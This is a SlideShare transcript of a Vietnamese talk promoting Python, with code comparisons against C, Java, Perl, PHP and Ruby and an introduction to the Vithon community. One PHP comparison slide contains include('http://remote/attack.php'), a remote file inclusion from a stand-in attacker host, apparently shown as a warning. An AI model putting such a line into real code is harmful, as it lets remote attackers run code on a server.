Python for the rest of life

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    2 Favorites

    Python for the rest of life - Presentation Transcript

    1. Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
    2. Nội dung
      • Kinh nghiệm bản thân
      • Giới thiệu Python
      • Nguyên lý căn bản của Python
      • So sánh với ngôn ngữ khác
      • Giới thiệu Vithon
      • Hỏi và cùng trả lời
    3. Kinh nghiệm bản thân
      • Biết đến Python từ 2003
      • Học trong 5 tiếng
      • Sử dụng hàng ngày cho đến tận bây giờ
      • Sáu từ để diễn đạt: Học 5 tiếng, dùng suốt đời!
      • Gặp nhiều khó khăn trong việc soạn slide
      • Gần quên Java và C/C++
      • Đã quên sạch Perl, PHP và Ruby
    4. Giới thiệu Python
      • Ra đời năm 1991
      • Tác giả Guido Van Rossum, Hà Lan
      • Là ngôn ngữ lập trình
        • Tổng quát
        • Kịch bản (scripting)
        • Kiểu vịt (duck typing)
        • Kiểu động (dynamic typing)
        • Nhưng có kiểu (strongly typed)
      • Kèm sẵn pin (Battery included)
    5. Nguyên lý căn bản của Python
      • Ưu tiên cho việc đọc lại code
        • Khoảng trắng bắt buộc
        • Hạn chế sử dụng ký tự đặc biệt
        • Chương trình phải được viết ra để cho người đọc, và chỉ là sự trùng hợp để máy tính thực thi ( Abelson & Sussman , MIT)
      • Sự đơn giản được xem trọng
        • Đã có while , nên bỏ do - while
        • Đã có elif , nên bỏ switch - case
    6. Nguyên lý căn bản của Python
      • Ngôn ngữ khác có hộp, Python có thẻ
      a = 1 b = a a = 2 Python (tên) Ngôn ngữ khác (biến)
    7. Nguyên lý căn bản của Python
      • Kiểu cơ bản: int, long, float, dãy (sequence), từ điển (dictionary)
        • A = 123 # int
        • B = 123456789123456789 # long
        • C = 123.456 # float
        • D = (1, 2, 3) # tuple
        • E = [1, 2, 3] # list
        • F = “12345” # string
        • G = { 1 : ‘abc’, 2 : “def” } # dictionary
    8. Nguyên lý căn bản của Python
      • Cấu trúc lặp và điều khiển
        • if/elif/else
        • while
        • for
      • Xử lý biệt lệ
        • try/except
        • try/finally
        • try/except/else
        • try/except/finally (Python 2.5+)
    9. Nguyên lý căn bản của Python
      • Khai báo hàm bằng def
      • Khai báo lớp bằng class
      • Đa kế thừa (multiple inheritance)
      • Tất cả mọi đối tượng (gói, mô-đun, lớp, hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng
      • Và chỉ đơn giản như thế thôi!
      • Perl
      • ~!@#$%^&*()
      • Ruby
      • ~!@#$%^&*()
      • Python
      • ~%^&*()
      So sánh với ngôn ngữ khác Tính dễ đọc
      • C
      • int a, b, t;
      • t = a;
      • a = b;
      • b = t;
      • Python
      • a, b = b, a
      • a, b, c=b, c, a
      So sánh với ngôn ngữ khác Hoán vị 2 số
      • Java
      • BigInteger a, b, c;
      • a = new BigInteger(“12345678901234567890”);
      • b = new BigInteger(“12345678901234567890”);
      • c = a.multiply(b);
      • Python
      • a = 12345678901234567890
      • b = 12345678901234567890
      • c = a * b
      So sánh với ngôn ngữ khác Tính toán số lớn
      • Java
      • System.out.print(a[0]);
      • for (int i = 1; i < a.length; i++) {
      • System.out.print(“ “ + a[i]);
      • }
      • Python
      • print “ “.join(a)
      So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
      • Java
      • System.out.print(a[0]);
      • for (int i = 1; i < a.length - 1; i++) {
      • System.out.print(“ “ + a[i]);
      • }
      • System.out.print(“ va “ + a[a.length – 1]);
      • Python
      • print “ “.join(a[:-1]), “va”, a[-1]
      So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
      • Java
      • // too many lines
      • // to show
      • // here
      • Python
      • f = open(filename, “rb”)
      • d = f.read()
      • f.close()
      So sánh với ngôn ngữ khác Đọc file
      • Perl
      • open(DATA, “filename”);
      • while ($line = <DATA>){
      • print $line;
      • }
      • close(DATA);
      • Python
      • f = open(filename, “r”)
      • for line in f:
      • print line
      • f.close()
      So sánh với ngôn ngữ khác Đọc từng dòng
      • Java
      • for (int i=0; i < a.length; i++) {
      • if (a[i] % 2 == 0)
      • b.add(a[i]);
      • }
      • Python
      • b = [x for x in a if (x % 2) == 0]
      So sánh với ngôn ngữ khác Lọc phần tử trong mảng
      • PHP
      • $file = fopen(“http://www.google.com”);
      • Python
      • import urllib2
      • r = urllib2.urlopen(“http://www.google.com”)
      So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
      • PHP
      • strrev(“abc”);
      • Ruby
      • “ abc”.reverse
      • Python
      • “ abc”[::-1] # cba
      So sánh với ngôn ngữ khác Đảo chuỗi
      • PHP
      • gzdeflate(base64_decode(base64_encode(gzcompress(“abc”))))
      • Python
      • “ abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”)
      So sánh với ngôn ngữ khác Chuyển mã
      • PHP
      • N/A
      • Python
      • Ví dụ chương trình cờ tướng sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ.
      So sánh với ngôn ngữ khác Ứng dụng web
    10. Giới thiệu Vithon
      • Vietnamese Python
      • Python cho người Việt
      • Do người yêu thích Python
      • Cho người yêu thích Python
      • Tài liệu, diễn đàn, dự án, bài viết, bài dịch
      • Hãy cùng tham gia
      • http://www.vithon.org
      • Python là số một nha!
    11. Cảm ơn
      • Life is short, use Python!
      • Python cho phần đời còn lại!
      • Nguyễn Thành Nam
      • [email_address]
    12. Hỏi và cùng trả lời

    + chiprochipro, 2 years ago

    custom

    1178 views, 2 favs, 0 embeds more stats

    Presentation from Nam Nguyen Bluemoon at BarCampSai more

    More info about this document

    © All Rights Reserved

    Go to text version

    • Total Views 1178
      • 1178 on SlideShare
      • 0 from embeds
    • Comments 0
    • Favorites 2
    • Downloads 55
    Most viewed embeds

    more

    All embeds

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories